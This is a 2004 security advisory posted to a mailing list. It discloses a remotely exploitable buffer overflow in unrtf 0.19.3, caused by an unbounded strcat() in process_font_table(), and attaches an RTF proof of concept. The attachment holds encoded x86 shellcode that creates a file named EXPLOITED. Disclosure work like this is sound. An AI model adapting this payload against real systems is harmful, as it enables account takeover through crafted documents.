[remote] [control] unrtf 0.19.3 process_font_table overflows name buffer
"D. J. Bernstein" <[email protected]> 15 Dec 2004 08:37:03 -0000
| Newsgroups | gmane.comp.security.software |
|---|---|
| Message-ID | <[email protected]> |
--YZ5djTAD1cGYuMQK
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Yosef Klein and Limin Wang, two students in my Fall 2004 UNIX Security
Holes course, have discovered a remotely exploitable security hole in
unrtf. I'm publishing this notice, but all the discovery credits should
be assigned to Klein and Wang.
You are at risk if you take an RTF document from an email message (or a
web page or any other source that could be controlled by an attacker)
and feed it through unrtf. (The unrtf documentation does not tell users
to avoid taking input from the network.) Whoever provides that document
then has complete control over your account: he or she can read and
modify your files, watch the programs you're running, etc.
Proof of concept: On an x86 computer running FreeBSD 4.10, type
wget http://www.gnu.org/software/unrtf/unrtf-0.19.3.tar.gz
gunzip < unrtf-0.19.3.tar.gz | tar -xf -
cd unrtf-0.19.3
make
to download and compile the unrtf program, version 0.19.3 (current).
Then save the file 81.rtf attached to this message, and type
./unrtf 81.rtf
with the unauthorized result that a file named EXPLOITED is created in
the current directory. (I tested this with a 548-byte environment, as
reported by printenv | wc -c; beware that 81.rtf is particularly
sensitive to the environment size.)
Here's the bug: In convert.c, process_font_table() uses an unprotected
strcat() to copy any number of bytes into a 255-byte name array.
---D. J. Bernstein, Associate Professor, Department of Mathematics,
Statistics, and Computer Science, University of Illinois at Chicago
--YZ5djTAD1cGYuMQK
Content-Type: application/rtf
Content-Disposition: attachment; filename="81.rtf"
Content-Transfer-Encoding: quoted-printable
{\rtf1 {\fonttbl{\f0{}EXPLOITED!AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=B9=
=D1=F7=BF=BF1=C0=89=01=B9=C8=F7=BF=BF@@@=C1=E0=07P=B8=124V=02=C1=E8=18=C1=
=E0=08PQ1=C0=B0=05P=CD=801=C0P@P=CD=80STUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABC=
DEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ=
ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ0=F1=05=08=D2=F7=BF=BF=
=D2=F7=BF=BF=E0=F0=05=08
--YZ5djTAD1cGYuMQK--